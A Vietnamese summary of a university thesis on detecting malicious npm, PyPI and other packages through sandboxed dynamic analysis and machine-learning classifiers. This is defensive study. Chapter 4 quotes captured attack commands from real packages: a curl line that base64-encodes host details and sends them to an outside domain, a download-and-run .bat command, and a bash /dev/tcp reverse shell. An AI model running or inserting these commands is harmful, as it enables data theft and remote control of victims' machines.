Bối cảnh và vấn đề nghiên cứu

Trong quy trình phát triển phần mềm hiện đại, việc sử dụng các thư viện mã nguồn mở từ bên thứ ba (như PyPI cho Python, npm cho JavaScript, RubyGems cho Ruby, Packagist cho PHP, crates.io cho Rust) giúp tiết kiệm chi phí và rút ngắn thời gian xây dựng sản phẩm. Tuy nhiên, hình thức này tiềm ẩn nhiều nguy cơ an toàn thông tin khi kẻ tấn công có thể chèn mã độc vào chuỗi cung ứng phần mềm. Các hành vi gây hại phổ biến trên thiết bị nạn nhân bao gồm: đánh cắp thông tin định danh (mã thông báo token, khóa phiên session key, thông tin hệ điều hành), thiết lập kết nối điều khiển máy chủ từ xa (command and control - C2), mở shell đảo ngược (reverse shell), hoặc làm rối mã nguồn để né tránh sự phát hiện. Báo cáo thực tế cho thấy số lượng gói phần mềm độc hại tăng trưởng mạnh: tổ chức Snyk phát hiện hơn 6.800 gói độc hại vào đầu năm 2023, trong khi hãng Checkmarx ghi nhận hơn 144.000 gói độc hại chỉ trong tháng 12 năm 2022.

Các giải pháp phát hiện truyền thống chủ yếu dựa vào phân tích tĩnh thông qua đối sánh chữ ký hoặc phân tích cây cú pháp trừu tượng (Abstract Syntax Tree - AST). Phương pháp này xử lý nhanh nhưng tạo ra tỷ lệ dương tính giả (false positive) cao do kẻ tấn công liên tục áp dụng kỹ thuật làm rối (obfuscation) hoặc mã hóa dữ liệu. Ngược lại, kỹ thuật phân tích động cho phép thực thi gói phần mềm trong môi trường cô lập (sandbox) để giám sát hành vi thực tế (lời gọi hệ thống, kết nối mạng, tệp tin truy cập). Mặc dù vậy, công cụ phân tích động tiêu biểu như package-analysis của Google hiện chỉ xuất kết quả thô dưới dạng tệp JSON trên Google BigQuery, đòi hỏi nguồn lực lớn để phân tích thủ công hoặc xây dựng luật nhận dạng.

Khóa luận tốt nghiệp cử nhân ngành An toàn Thông tin của hai tác giả Nguyễn Thanh Công và Nguyễn Xuân Quang (Trường Đại học Công nghệ Thông tin, Đại học Quốc gia Thành phố Hồ Chí Minh) giải quyết bài toán khai phá dữ liệu phân tích động để phân biệt gói lành tính và độc hại, từ đó ứng dụng học máy tự động hóa quá trình phân loại.

Mục tiêu nghiên cứu:

  1. Về kiến thức: Nắm vững cấu trúc các gói phần mềm trên các kho lưu trữ phổ biến; phương thức kẻ tấn công lợi dụng chuỗi cung ứng; cơ chế hoạt động cùng ưu/nhược điểm của các công cụ phân tích mã độc; phương pháp trích xuất đặc trưng hành vi từ dữ liệu thô của package-analysis; lựa chọn đặc trưng và áp dụng các thuật toán học máy phân loại.
  2. Về sản phẩm: Xây dựng chương trình ứng dụng hoàn chỉnh tích hợp mô hình học máy để phát hiện các gói phần mềm độc hại dựa trên dữ liệu phân tích động.

Đối tượng và phạm vi nghiên cứu:

  1. Nghiên cứu kỹ thuật phân tích động mã nguồn mở thông qua công cụ package-analysis.
  2. Phân tích tập dữ liệu thô ossf-malware-analysis trên nền tảng Google BigQuery để trích xuất đặc tính vận hành của các gói phần mềm.
  3. Thu thập và xây dựng tập dữ liệu mẫu gồm các gói lành tính và độc hại trên 5 kho lưu trữ: npm, PyPI, RubyGems, Packagist và crates.io (quy mô dữ liệu khảo sát tính đến tháng 6/2024: npm có 4.855.890 gói, PyPI có 553.161 gói, Packagist có 449.097 gói, RubyGems có 197.759 gói, crates.io có 152.956 gói).
  4. Áp dụng các giải thuật học máy có giám sát trên tập đặc trưng động được trích xuất.
  5. Đánh giá hiệu năng của các mô hình phân loại thông qua phương pháp kiểm thử chéo 10 lần (10-fold cross validation) và đường cong ROC-AUC.

Cơ sở lý thuyết và phương pháp

Khóa luận kết hợp khung lý thuyết an toàn chuỗi cung ứng phần mềm, kỹ thuật cô lập môi trường thực thi (sandboxing) và các giải thuật học máy phân loại nhị phân.

Kiến trúc Sandboxing và Công cụ phân tích:

  • Công cụ package-analysis: Được Google phát hành vào tháng 4/2022, sử dụng mô hình container lồng container (Docker bên ngoài khởi tạo image analysis, Podman bên trong điều khiển các container dynamic-analysis và static-analysis).
  • Cơ chế gVisor: Sử dụng gVisor làm nhân không gian người dùng (user-space kernel) viết bằng Golang, cung cấp 211 lời gọi hệ thống (system calls) phổ biến để thiết lập lớp bảo vệ trung gian giữa ứng dụng trong container và nhân hệ điều hành máy chủ (host kernel).
  • Quy trình phân tích động: Thực hiện qua 3 giai đoạn: cài đặt gói (pip, npm, composer.phar, gem, cargo), nạp thư viện (sử dụng importlib cho Python, require cho JavaScript) và thực thi hàm theo kỹ thuật đệ quy.
  • So sánh công cụ đối sánh: Đối chiếu đặc tính vận hành giữa package-analysis và công cụ packj của tổ chức Ossillate:
Thuộc tính package-analysis packj
Kỹ thuật Sandbox Sử dụng container kết hợp gVisor (user-space kernel). Sử dụng tiện ích strace để ghi nhận nhật ký lời gọi hệ thống.
Giai đoạn hỗ trợ Phân tích ở cả 3 giai đoạn: cài đặt (install), import và thực thi (execute). Chỉ hỗ trợ phân tích tại thời điểm cài đặt (install time).
Cơ chế can thiệp Cô lập mạng và hệ thống tệp tin qua container chuyên dụng. Sử dụng kỹ thuật can thiệp lời gọi hệ thống (system call interposition).
Phạm vi phân tích Gói mã nguồn có sẵn trên các kho lưu trữ trực tuyến. Phân tích cả gói cục bộ (local) và gói trực tuyến (live package).
Phương pháp kết hợp Phân tích động chuyên sâu kết hợp phân tích tĩnh cơ bản. Kết hợp cả phân tích động và phân tích tĩnh.

Phương pháp nghiên cứu thực nghiệm và nguồn dữ liệu:

  • Nguồn dữ liệu: Bộ dữ liệu ossf-malware-analysis lưu trữ trên Google BigQuery, kết hợp dữ liệu kiểm tra uy tín IP và tên miền từ VirusTotal.
  • Phương pháp xử lý: Trích xuất log hành vi ở định dạng JSON, tiến hành phân tích tần suất câu lệnh, thống kê địa chỉ IP, tên miền (Domain Name), định danh các mẫu tên miền OAST (Out-of-Band Application Security Testing) qua công cụ Burp Suite liên quan đến lỗ hổng CVE-2024-21887.
  • Mô hình học máy: Triển khai và đánh giá các thuật toán học có giám sát gồm Hồi quy tuyến tính (Linear Regression), Hồi quy Logistic (Logistic Regression), Cây quyết định (Decision Tree), Rừng ngẫu nhiên (Random Forest), Mạng nơ-ron nhân tạo (Neural Networks) và thuật toán phân cụm K-Means.

Nội dung chính theo từng chương

Chương 1. Giới thiệu

Chương mở đầu trình bày tính cấp thiết của an toàn chuỗi cung ứng phần mềm mã nguồn mở trước sự gia tăng của các cuộc tấn công mạng. Nhóm tác giả phân tích hạn chế của phương pháp phân tích tĩnh, giới thiệu tiềm năng của công cụ phân tích động package-analysis, xác định mục tiêu kiến thức/sản phẩm, đối tượng, phạm vi nghiên cứu, bố cục gồm 8 chương và thông tin bài báo khoa học nộp tại hội nghị quốc tế International Conference on Computer Applications in Industry and Engineering (CAINE).

Chương 2. Nền tảng

Chương này tổng quan về 5 kho mã nguồn mở (npm, PyPI, Packagist, RubyGems, crates.io) và cơ chế tấn công chuỗi cung ứng phần mềm thông qua các sự kiện thực tế như vụ tấn công SolarWinds Orion và mã độc chèn vào tệp nén xz (phiên bản 5.6.x) tác động lên liblzma và dịch vụ sshd. Tác giả khảo sát các công cụ phân tích mã độc tĩnh (OSS Detect Backdoor, công cụ kiểm tra dựa trên AST, PyPI Malware Checks, Capslock cho Go) và các công cụ phân tích động (MalOSS, SonarQube, Package-hunter, Packj).

Chương 3. Kỹ thuật Sandboxing và Công cụ Package-Analysis

Nội dung chương mô tả chi tiết kiến trúc của package-analysis với cấu trúc 2 lớp container (Docker ngoài cùng và Podman bên trong). Chương phân tích vai trò của hai thành phần analyzer (khởi tạo cấu hình mạng, nhật ký) và worker (quản lý vòng đời container), đồng thời làm rõ cách thức gVisor cung cấp 211 lời gọi hệ thống an toàn. Tác giả cũng chỉ ra các giới hạn của gVisor khi không tương tác trực tiếp với phần cứng và thiếu các lời gọi hệ thống ít phổ biến. Quy trình phân tích 3 giai đoạn (cài đặt, nạp mô-đun, thực thi hàm) và 3 chế độ phân tích tĩnh đi kèm (Basic, Parsing qua chỉ số entropy, Signals qua tập luật) được chuẩn hóa tại đây.

Chương 4. Phân tích và Khai phá dữ liệu

Tác giả phân tích dữ liệu thực nghiệm trên tập ossf-malware-analysis. Tỷ lệ phân tích thành công trung bình ở giai đoạn cài đặt và import lần lượt là 62% và 87%; trong đó npm đạt tỷ lệ cài đặt thành công cao nhất (90%), còn crates.io có tỷ lệ thành công ở giai đoạn import là 100% nhưng cài đặt dưới 50%. Phân tích mạng trên 37.423 địa chỉ IP cho thấy 15.927 địa chỉ (42,56%) bị đánh dấu độc hại bởi ít nhất một công cụ trên VirusTotal; 1.417 IP bị đánh dấu bởi từ hai công cụ trở lên. Phân bố vị trí máy chủ tập trung nhiều nhất tại Hoa Kỳ, theo sau là Ấn Độ, Brazil, Trung Quốc và Đức.

+ Gói độc hại mã hóa dữ liệu (base64) và gửi ra ngoài (ví dụ gói topcoderhomepage_3.2):
curl -H "Hostname: $(hostname | base64)" -H "uname: $(uname -a | base64)" -H "Pwd: $(pwd | base64)" -d $(ls -la | base64) http://tnk9.com

+ Gói độc hại tải script từ xa và thực thi (ví dụ gói biscits-1.1):
curl -s -o %temp%\strings.bat https://cdn.bat && start /min cmd /c %temp%\strings.bat

+ Gói độc hại mở shell đảo ngược (ví dụ gói pmd-github-action-9.9):
bash -i >& /dev/tcp/0.0.0.0/8080 0>&1

Phân tích 1.385 tên miền duy nhất kết nối bởi các gói độc hại cho thấy chỉ có 75 tên miền chính, trong đó 55 tên miền (73%) bị VirusTotal cảnh báo lừa đảo hoặc độc hại. Khóa luận cũng phát hiện các gói độc hại lợi dụng tên miền OAST (oast.fun, oast.live, oastify.com) liên quan lỗ hổng CVE-2024-21887 trên thiết bị Ivanti, cũng như gói discordcmd trên PyPI tải backdoor từ GitHub để đánh cắp Discord token của người dùng Windows.

Danh mục Lệnh phổ biến ở gói độc hại (Số lần) Mô tả hành vi độc hại Lệnh phổ biến ở gói lành tính
Top 1 ls (87.706) Liệt kê tệp tin và thư mục (thu thập thông tin) ls
Top 2 cat (87.500) Đọc nội dung tệp tin (thu thập thông tin) grep (tìm kiếm mẫu văn bản)
Top 3 lsb_release -a (82.758) Lấy thông tin bản phân phối Linux uname (thông tin hệ điều hành)
Top 4 /usr/bin/curl (77.026) Truyền dữ liệu trái phép ra máy chủ bên ngoài tput (thiết lập tham số hiển thị)
Top 5 which bash (68.652) Xác định vị trí shell thực thi sed (sửa đổi nội dung tệp)

Thống kê mẫu phân bố hành vi cho thấy xu hướng kết nối mạng và chạy lệnh độc hại:

Kho lưu trữ Kết nối tên miền độc hại Thực thi lệnh độc hại Kết nối tên miền và thực thi lệnh
crates.io 1 0 0
PyPI 86 5 22
npm 600+ Xuất hiện Chiếm khoảng 1/3 tập dữ liệu
RubyGems Chỉ ghi nhận kết nối mạng 0 0

Chương 5. Các giải thuật học máy

Chương 5 hệ thống hóa cơ sở toán học của các giải thuật: Hồi quy tuyến tính, Hồi quy Logistic (hàm sigmoid, hàm mất mát log-loss, thuật toán tối ưu hóa Gradient Descent), Cây quyết định (tiêu chí phân nhánh), Rừng ngẫu nhiên (kỹ thuật ensemble bagging), Mạng nơ-ron và Phân cụm K-Means.

Chương 6. Ứng dụng học máy trong phát hiện các gói phần mềm độc hại

Quy trình thực nghiệm bao gồm: thu thập tập dữ liệu nhãn (gói lành tính và độc hại), tiền xử lý, trích xuất đặc tính hành vi từ log của package-analysis (số lượng lệnh shell, tần suất gọi curl, số lượng IP/URL kết nối, sự hiện diện của lệnh giải mã base64), mã hóa đặc tính (encoding), huấn luyện mô hình và đánh giá qua kiểm thử chéo 10 lần. Kết quả thực nghiệm xác định mô hình đạt diện tích dưới đường cong ROC (ROC-AUC) ở mức cao. Nhóm tác giả xây dựng chương trình ứng dụng hoàn chỉnh có giao diện người dùng để tự động nhận đầu vào là gói mã nguồn, chạy phân tích và trả về kết luận phân loại.

Chương 7. Hạn chế của khóa luận và các bước cải tiến tiếp theo

Nhóm tác giả chỉ ra các hạn chế kỹ thuật: tỷ lệ cài đặt thành công của crates.io trong sandbox còn thấp, môi trường gVisor chưa hỗ trợ toàn diện các cuộc gọi hệ thống phức tạp, và dữ liệu thô đòi hỏi nhiều thời gian tiền xử lý. Hướng phát triển đề xuất gồm mở rộng tập dữ liệu, hoàn thiện bài báo nộp vào tạp chí khoa học xếp hạng Q3 trở lên.

Chương 8. Kết luận

Tổng kết lại các nhiệm vụ đã hoàn thành: giải mã cấu trúc dữ liệu package-analysis, chứng minh sự khác biệt hành vi giữa gói độc hại và lành tính, hoàn thiện mô hình phân loại học máy và xây dựng phần mềm ứng dụng.

Thiết kế và triển khai

Khóa luận đã hiện thực hóa quy trình phát hiện mã độc từ dữ liệu phân tích động thành một hệ thống phần mềm ứng dụng:

  1. Kiến trúc luồng xử lý dữ liệu:

    • Đầu vào: Tên gói phần mềm mã nguồn mở và tên kho lưu trữ mục tiêu (npm, PyPI, RubyGems, Packagist, crates.io).
    • Môi trường phân tích động: Tự động kích hoạt container của package-analysis kết hợp cơ chế gVisor để thực thi gói qua 3 giai đoạn (Install, Import, Execute), xuất log sự kiện mạng, lệnh thực thi và tệp tin truy cập thành tệp JSON.
    • Module trích xuất đặc trưng: Tiền xử lý dữ liệu JSON thô, trích xuất vector đặc trưng số lượng (tần suất câu lệnh hệ thống, số lượng IP độc lập, số tên miền duy nhất, sự xuất hiện của các lệnh tải dữ liệu mạng hoặc mã hóa).
    • Bộ phân loại học máy: Đưa vector đặc trưng qua mô hình phân loại nhị phân đã được huấn luyện tối ưu để đưa ra xác suất độc hại.
  2. Giao diện và chức năng của chương trình ứng dụng:

    • Xây dựng giao diện đồ họa hiển thị thông tin gói phần mềm, trạng thái thực thi của sandbox trong thời gian thực.
    • Bảng hiển thị kết quả phân tích chi tiết: danh sách các câu lệnh nhạy cảm được chạy, các địa chỉ IP và tên miền bị kết nối (đối chiếu nhãn cảnh báo từ VirusTotal), và kết luận nhãn cuối cùng (Độc hại / Lành tính).

Kết quả và đóng góp

  • Bộ dữ liệu và phát hiện định lượng:

    • Khẳng định các gói độc hại thực hiện tổng số lượng câu lệnh nhiều gấp 2 lần so với gói lành tính, đồng thời có mức độ trùng lặp mã nguồn cao giữa các biến thể tấn công.
    • Các gói độc hại kết nối tới số lượng URL nhiều hơn xấp xỉ 14 lần, số lượng tên miền duy nhất nhiều hơn gần 113 lần, và số lượng địa chỉ IP nhiều hơn gần 15 lần so với gói lành tính.
    • Nhận diện 4 nhóm hành vi độc hại chủ đạo: truyền dữ liệu mã hóa base64 qua lệnh curl, tải tập lệnh .bat/.sh từ máy chủ điều khiển, giải mã lệnh làm rối rồi chuyển qua bash, và thiết lập kết nối reverse shell qua /dev/tcp.
    • Phân tích và phát hiện các tên miền OAST (oast.fun, oast.live, oastify.com) được kẻ tấn công sử dụng trong các gói mã độc liên quan lỗ hổng CVE-2024-21887.
  • Đóng góp học thuật và ứng dụng:

    • Cung cấp phương pháp trích xuất đặc trưng động từ dữ liệu thô của package-analysis phục vụ huấn luyện học máy.
    • Công bố mã nguồn và tập dữ liệu nghiên cứu công khai trên kho lưu trữ mã nguồn mở để cộng đồng khoa học tham khảo.
    • Đã hoàn thiện và nộp bài báo khoa học đến hội nghị quốc tế International Conference on Computer Applications in Industry and Engineering (CAINE), xây dựng tiền đề mở rộng công bố trên tạp chí khoa học quốc tế.

Hạn chế và hướng nghiên cứu tiếp

Hạn chế:

  • Tỷ lệ phân tích thành công ở giai đoạn cài đặt của các gói Rust trên crates.io trong môi trường sandbox còn thấp (dưới 50%).
  • Nhân không gian người dùng gVisor mới chỉ cung cấp 211 lời gọi hệ thống, dẫn đến lỗi phân tích đối với các gói phần mềm sử dụng các lệnh gọi hệ thống đặc thù hoặc yêu cầu tương tác phần cứng trực tiếp.
  • Mẫu dữ liệu gói độc hại thu thập được trên kho Packagist còn thiếu hụt trong các nguồn dữ liệu khảo sát.

Hướng nghiên cứu tiếp:

  • Cải thiện cấu hình container và môi trường phụ thuộc để nâng cao tỷ lệ cài đặt thành công cho các ngôn ngữ biên dịch như Rust trên crates.io.
  • Bổ sung các kỹ thuật xử lý dữ liệu nâng cao nhằm xử lý các kỹ thuật chống phân tích động (anti-dynamic analysis).
  • Tiếp tục mở rộng các kết quả nghiên cứu thực nghiệm từ bài báo hội nghị CAINE để hoàn thiện bài báo gửi đăng tại tạp chí khoa học chuyên ngành đạt tiêu chuẩn từ Q3 trở lên.

Giá trị tham khảo

Khóa luận là tài liệu tham khảo giá trị cho:

  • Sinh viên và học viên ngành An toàn Thông tin / Khoa học Máy tính: Tham khảo phương pháp luận kết hợp giữa phân tích mã độc động và các thuật toán học máy, kỹ thuật phân tích nhật ký phân tích động JSON ở quy mô lớn trên Google BigQuery.
  • Kỹ sư bảo mật và DevSecOps: Tham khảo quy trình thiết lập môi trường sandbox an toàn bằng Docker, Podman và gVisor để kiểm thử tự động các gói thư viện mã nguồn mở trước khi tích hợp vào quy trình CI/CD.
  • Nhà nghiên cứu về bảo mật chuỗi cung ứng: Sử dụng danh mục thống kê các địa chỉ IP, tên miền độc hại, tên miền OAST và các mẫu lệnh khai thác điển hình trên npm và PyPI làm dữ liệu đối sánh cho các nghiên cứu tiếp theo.

Câu hỏi thường gặp

1. Tại sao công cụ package-analysis sử dụng gVisor thay vì dùng trực tiếp nhân của hệ điều hành máy chủ?
package-analysis sử dụng gVisor (một nhân không gian người dùng viết bằng Golang) làm lớp trung gian nhằm ngăn chặn mã độc khai thác các lỗ hổng nhân hệ điều hành để thoát khỏi môi trường sandbox (container breakout) và lây nhiễm sang máy chủ thực.

2. Điểm khác biệt cốt lõi giữa công cụ package-analysis và packj là gì?
package-analysis hỗ trợ tạo sandbox phân tích ở cả 3 giai đoạn (cài đặt, nạp thư viện và thực thi hàm) sử dụng container kết hợp gVisor. Trong khi đó, packj chỉ hỗ trợ phân tích tại thời điểm cài đặt thông qua tiện ích strace để ghi nhận các tương tác hệ thống.

3. Tần suất và đặc điểm kết nối mạng của các gói phần mềm độc hại khác biệt như thế nào so với gói lành tính?
Các gói độc hại kết nối tới số lượng URL nhiều hơn xấp xỉ 14 lần, số tên miền duy nhất nhiều hơn gần 113 lần và số địa chỉ IP nhiều hơn gần 15 lần so với gói lành tính. Trong 37.423 địa chỉ IP được quét, có 42,56% địa chỉ bị ít nhất một công cụ trên VirusTotal cảnh báo độc hại.

4. Những kỹ thuật thực thi lệnh nào thường được các gói độc hại sử dụng trên npm và PyPI?
Các kỹ thuật phổ biến nhất gồm: thu thập thông tin cấu hình và mã hóa bằng base64 trước khi gửi ra ngoài qua curl, tải tập lệnh độc hại .bat/.sh từ xa về thực thi ngầm, giải mã chuỗi lệnh bị làm rối rồi chuyển tiếp vào bash, và mở shell đảo ngược kết nối trực tiếp về máy chủ của kẻ tấn công.

5. Các tên miền OAST được phát hiện trong nghiên cứu đóng vai trò gì trong hoạt động của mã độc?
Các tên miền OAST (như oast.fun, oast.live, oastify.com từ công cụ Burp Suite) bị kẻ tấn công lợi dụng để kiểm tra và khai thác lỗ hổng thực thi lệnh từ xa CVE-2024-21887 trên các hệ thống mạng, giúp kẻ tấn công xác nhận mục tiêu dễ bị xâm nhập trước khi tải mã độc thứ cấp.

Kết luận

Khóa luận tốt nghiệp của tác giả Nguyễn Thanh Công và Nguyễn Xuân Quang đã khảo sát toàn diện dữ liệu phân tích động từ công cụ package-analysis trên 5 kho lưu trữ mã nguồn mở lớn, làm rõ sự khác biệt định lượng về hành vi mạng và câu lệnh giữa gói lành tính và độc hại. Nghiên cứu đã ứng dụng thành công các giải thuật học máy để tự động hóa việc phát hiện gói phần mềm độc hại với độ chính xác cao dựa trên các đặc trưng hành vi thực tế. Công trình không chỉ đóng góp một bài báo khoa học tại hội nghị quốc tế CAINE mà còn xây dựng một ứng dụng kiểm tra mã nguồn mở thực tế phục vụ công tác đảm bảo an toàn chuỗi cung ứng phần mềm.